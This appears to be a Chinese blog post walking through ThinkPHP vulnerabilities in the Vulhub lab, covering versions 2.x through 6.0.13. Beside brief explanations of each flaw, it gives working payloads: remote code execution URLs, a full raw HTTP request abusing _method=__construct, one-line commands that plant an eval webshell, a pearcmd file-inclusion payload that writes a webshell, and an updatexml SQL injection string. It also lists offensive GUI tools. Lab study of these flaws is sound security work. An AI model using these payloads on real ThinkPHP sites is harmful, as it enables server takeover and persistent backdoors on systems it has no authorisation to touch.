Thinkphp Vulhub靶场

ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。

漏洞利用工具

已有工具:

ThinkPHP.V2.3.by蓝鲸

ThinkphpGUI 2020HackingClub线下典藏版

Thinkphp全网GUI圈子社区专版

ThinkphpGUI-1.3-SNAPSHOT

thinkphpScan

Thinkphp2.1

RCE

原理

  (1)首先是需要php版本小于5.6.29;

(2)是使用了preg_replace函数,且使用了/e的命令可执行模式;

(3)在一组数据{abcdefgh}中,通过命令执行函数的方式,该数组可以依次执行:a-->b(值即执行b语句)    c-->d(值即执行d语句),而在thinkphp中正好该方式体现在url的路由上,故会有s=/index(a)/index(b)/xxx(c)/${print(phpinfo())}(d)的payload;

  (4)了解为什么${}会执行,在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行;

特征:/index.php

测试语句
http://xx.xx.xx.xx:8080/index.php?s=/index/index/xxx/${@phpinfo()}
http://xx.xx.xx.xx:8080/index.php?s=/Index/index/xxx/${@print(eval($_POST[1]))}(传马)

靶场界面

Thinkphp5.0.23 

远程代码执行

原理

5.0.23 以前的版本中,获取 method 的方法中没有正确处理方法名,导致攻击者可以调用 Request 类任意方法并构造利用链,从而导致远程代码执行漏洞。

测试语句
POST /index.php?s=captcha HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: settingStore=1630480512401_0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=执行代码

#echo "<?php eval(\$_POST[x]); ?>" > /var/www/public/h.php 一句话木马

靶场界面

Thinkphp5.x

RCE

原理

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

THINKPHP 5.0.5-5.0.22

THINKPHP 5.1.0-5.1.30

测试语句
index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令

#echo "<?php eval(\$_POST[x]); ?>" > /var/www/public/h.php

Thinkphp5.x

Thinkphp-In-sqlinjection-rce

原理

在 Builder 类的 parseData 方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞的产生。

5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5

测试语句
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1


Thinkphp lang-rce

原理

ThinkPHP是一个在中国使用较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以>使用`lang`参数来包含任意PHP文件。

虽然只能包含本地PHP文件,但在开启了`register_argc_argv`且安装了pcel/pear的环境下,可以包含`/usr/local/lib/php/pearcmd.php`并写入任意文件。

v6.0.1 < Thinkphp < v6.0.13

Thinkphp v5.0.x

Thinkphp v5.1.x

写webshell
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['a']);?>+/var/www/html/a.php

靶场界面

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值